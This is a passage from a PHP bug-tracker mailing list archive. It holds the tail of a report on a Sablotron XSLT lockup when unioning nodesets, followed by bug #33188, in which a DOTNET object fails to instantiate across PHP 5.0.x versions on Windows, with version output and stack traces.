'--disable-static' '--with-pic' '--with-layout=GNU'
'--with-pear=/usr/share/php' '--enable-calendar' '--enable-sysvsem'
'--enable-sysvshm' '--enable-sysvmsg' '--enable-track-vars'
'--enable-trans-sid' '--enable-bcmath' '--with-bz2' '--enable-ctype'
'--with-db4' '--with-iconv' '--enable-exif' '--enable-filepro'
'--enable-ftp' '--with-gettext' '--enable-mbstring'
'--with-pcre-regex=/usr' '--enable-shmop' '--enable-sockets'
'--enable-wddx' '--disable-xml' '--with-expat-dir=/usr' '--with-xmlrpc'
'--enable-yp' '--with-zlib' '--without-pgsql' '--with-kerberos=/usr'
'--with-openssl=/usr' '--with-zip=/usr' '--enable-dbx'
'--with-mime-magic=/usr/share/misc/file/magic.mime'
'--with-exec-dir=/usr/lib/php4/libexec' '--without-mm'
'--without-mysql' '--without-sybase-ct'



Reproduce code:
---
I have attempted to cobble together some testcases, these can be found
at:

http://random.jamie-thompson.co.uk/sablotron/bug.xsl
http://random.jamie-thompson.co.uk/sablotron/bug1.xml
http://random.jamie-thompson.co.uk/sablotron/bug2.xml
http://random.jamie-thompson.co.uk/sablotron/bug1clone.xml

The xsl file is single-source file, (a stylesheet wrapped in an xml
wrapper so as to be able to include arbitray local nodesets for
testing), which loads the xml files using the document function.

In the xsl file's main template you will find a number of tests, with
those that cause lock-ups commented out. These scenarios are:

* performing a union of two external nodesets. This seems to work,
sometimes. It started working in my testcase at some indeterminate
point, however it still causes lockups in my actual code.
* performing a union of an external xml file with a local node set.
This causes Sablotron to lock up
* performing a union of an external xml file with another containing
the same node set. This also causes Sablotron to lock up

Expected result:

I expect to get the union of the two node sets without a lockup
occurring.

Firefox's output with all of the tests enabled is:
one:
equipment
list
item
equipment
id
0
name
Any Equipment

two:
equipment
list
item
equipment
id
1
name
More Equipment

local:
random
hi
random
woo

remote 1:
equipment
list
item
equipment
id
0
name
Any Equipment

remote 2:
equipment
list
item
equipment
id
1
name
More Equipment

dual remote:
list
item
equipment
id
1
name
More Equipment
list
item
equipment
id
0
name
Any Equipment

single remote and local:
random
hi
equipment
list
item
equipment
id
0
name
Any Equipment

clone remote:
equipment
list
item
equipment
id
0
name
Any Equipment
equipment
list
item
equipment
id
0
name
Any Equipment



Actual result:
--
With logging turned on, I get this:
Sablotron Message on line none, level log: Parsing
'file:///var/www/random/sablotron/bug.xsl'...
Sablotron Message on line none, level log: Parse done in 0.042 seconds
Sablotron Message on line none, level log: Parsing
'file:///var/www/random/sablotron/bug.xsl'...
Sablotron Message on line none, level log: Parse done in 0.015 seconds
Sablotron Message on line none, level log: Executing stylesheet
'file:///var/www/random/sablotron/bug.xsl'...
Sablotron Message on line none, level log: Parsing

#33188 [Fbk-Opn]: Cannot instantiate a DOTNET object

2005-05-30 Thread sean at iplus dot plus dot com

 ID:   33188
 User updated by:  sean at iplus dot plus dot com
 Reported By:  sean at iplus dot plus dot com
-Status:   Feedback
+Status:   Open
 Bug Type: COM related
 Operating System: Windows 2000
 PHP Version:  5.0.4
 New Comment:

Tried the latest snapshot but still get same result as shown below:

C:\PHP\BUGSphp5-win32-latest\php.exe -v 
PHP 5.1.0-dev (cli) (built: May 30 2005 20:22:11)
Copyright (c) 1997-2005 The PHP Group
Zend Engine v2.1.0-dev, Copyright (c) 1998-2004 Zend Technologies


C:\PHP\BUGSphp5-win32-latest\php.exe dotnet-example.php 

Fatal error: Uncaught exception 'com_exception' with message 'Failed to
instantiate .Net object [CreateInstance] [0x80070057] The parameter is
incorrect.
' in C:\PHP\BUGS\dotnet-example.php:2
Stack trace:
#0 {main}
  thrown in C:\PHP\BUGS\dotnet-example.php on line 2
#


Previous Comments:


[2005-05-30 23:00:59] [EMAIL PROTECTED]

Please try using this CVS snapshot:

  http://snaps.php.net/php5-latest.tar.gz
 
For Windows:
 
  http://snaps.php.net/win32/php5-win32-latest.zip





[2005-05-30 18:57:03] sean at iplus dot plus dot com

Description:

When trying to instantiate a DOTNET object in Version 5.0.4 I get a
'com_exception'. I have Microsoft.NET 1.1 installed.

The bug appears similar to a previous bug:

BUG #29490 'Failed to instantiate .Net object' using PHP.NET docu
example
BUG #30461 Failed to Instantiate .Net Object error (again)

Bug #29490 was fixed in version 5.0.1.

I tried version 5.0.1, 5.0.2, 5.03 and could not instantiate a DOTNET
object. However the error message was different for different versions.



Version Error message 
--
5.0.4   Failed to instantiate .Net object [CreateInstance] [0x80070057]
The parameter is incorrect
5.0.3   Failed to instantiate .Net object [CreateInstance] [0x80070057]
The parameter is incorrect
5.0.2   Failed to initialize .Net runtime
5.0.1   Failed to initialize .Net runtime


The full results of my tests are shown below.

##

Tests run on previous PHP versions - all with same reproduce code

##

##


PHP VERSION = 5.04

##


C:\PHPphp-5.0.4-Win32\php.exe -v 
PHP 5.0.4 (cli) (built: Mar 31 2005 02:45:48)
Copyright (c) 1997-2004 The PHP Group
Zend Engine v2.0.4-dev, Copyright (c) 1998-2004 Zend Technologies

C:\PHPphp-5.0.4-Win32\php.exe dotnet-example.php 

Fatal error: Uncaught exception 'com_exception' with message 'Failed to
instantiate .Net object [CreateInstance] [0x80070057] The parameter is
incorrect.
' in C:\PHP\dotnet-example.php:2
Stack trace:
#0 C:\PHP\dotnet-example.php(2): dotnet-dotnet('mscorlib',
'System.Collecti...')
#1 {main}
  thrown in C:\PHP\dotnet-example.php on line 2

##

PHP VERSION = 5.03

##

C:\PHPphp-5.0.3-Win32\php.exe -v 
PHP 5.0.3 (cli) (built: Dec 15 2004 08:07:57)
Copyright (c) 1997-2004 The PHP Group
Zend Engine v2.0.3, Copyright (c) 1998-2004 Zend Technologies

C:\PHPphp-5.0.3-Win32\php.exe dotnet-example.php 

Fatal error: Uncaught exception 'com_exception' with message 'Failed to
instantiate .Net object [CreateInstance] [0x80070057] The parameter is
incorrect.
' in C:\PHP\dotnet-example.php:2
Stack trace:
#0 C:\PHP\dotnet-example.php(2): dotnet-dotnet('mscorlib',
'System.Collecti...')
#1 {main}
  thrown in C:\PHP\dotnet-example.php on line 2

##

PHP VERSION = 5.02

##

C:\PHPphp-5.0.2-Win32\php.exe -v 
PHP 5.0.2 (cli) (built: Sep 24 2004 01:25:41)
Copyright (c) 1997-2004 The PHP Group
Zend Engine v2.0.2, Copyright (c) 1998-2004 Zend Technologies

C:\PHPphp-5.0.2-Win32\php.exe dotnet-example.php 

Fatal error: Uncaught exception 'com_exception' with message 'Failed to
initialize .Net runtime' in C:\PHP\dotnet-example.php:2
Stack trace:
#0 {main}
  thrown in C:\PHP\dotnet-example.php on line 2

##

PHP VERSION = 5.01

##

C:\PHPphp-5.0.1-Win32\php.exe -v 
PHP 5.0.1 (cli) (built: Aug 12 2004 23:30:46)
Copyright (c) 1997-2004 The PHP Group
Zend Engine v2.0.1, Copyright (c) 1998-2004 Zend Technologies


C:\PHPphp-5.0.1-Win32\php.exe dotnet-example.php 

Fatal error: Uncaught exception 'com_exception' with message 'Failed to
initialize .Net runtime' in C:\PHP\dotnet-example.php:2
Stack

#33188 [Opn-Fbk]: Cannot instantiate a DOTNET object